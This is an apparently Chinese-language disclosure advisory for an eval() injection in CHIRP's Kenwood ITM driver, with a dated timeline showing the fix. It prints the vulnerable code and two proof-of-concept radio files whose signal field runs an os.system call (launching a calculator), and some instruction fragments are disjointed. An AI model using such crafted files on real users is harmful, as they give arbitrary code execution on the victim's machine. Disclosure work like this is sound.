eval() 实现任意代码执行产品: CHIRP - 一个用于业余无线电编程的开源项目。
受影响版本:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
受影响版本: <= chirp-next-20260814
CWE: CWE-95(Eval 注入)
CHIRP 的 Kenwood ITM 文件格式驱动程序会将打开文件中的原始 CSV 字段值直接传递给 Python 内置的 eval(),且不进行任何验证。攻击者向 CHIRP 用户提供精心构造的文件,即可以受害用户的身份实现任意代码执行。
chirp/drivers/kenwood_itm.py 中的 _clean_tmode(),第 66–67 行:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
TXSIG 和 RXSIG 值直接来自打开文件中的 CSV 行。在调用 eval() 之前,未进行任何类型检查、白名单或沙箱处理。
以下是两个 POC。
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img。 如果使用 .itm 载荷,请将过滤器下拉框更改为 “所有文件”(ITM 不在 CHIRP 的过滤选项中)。{file_name}.itm。2026-08-17 -- 发现漏洞
2026-08-17 -- 通过电子邮件联系维护者
2026-08-17 -- 维护者当天回复并在同一天修复了代码。 https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-08-21 -- 安装程序版本 20260821 包含了该修复。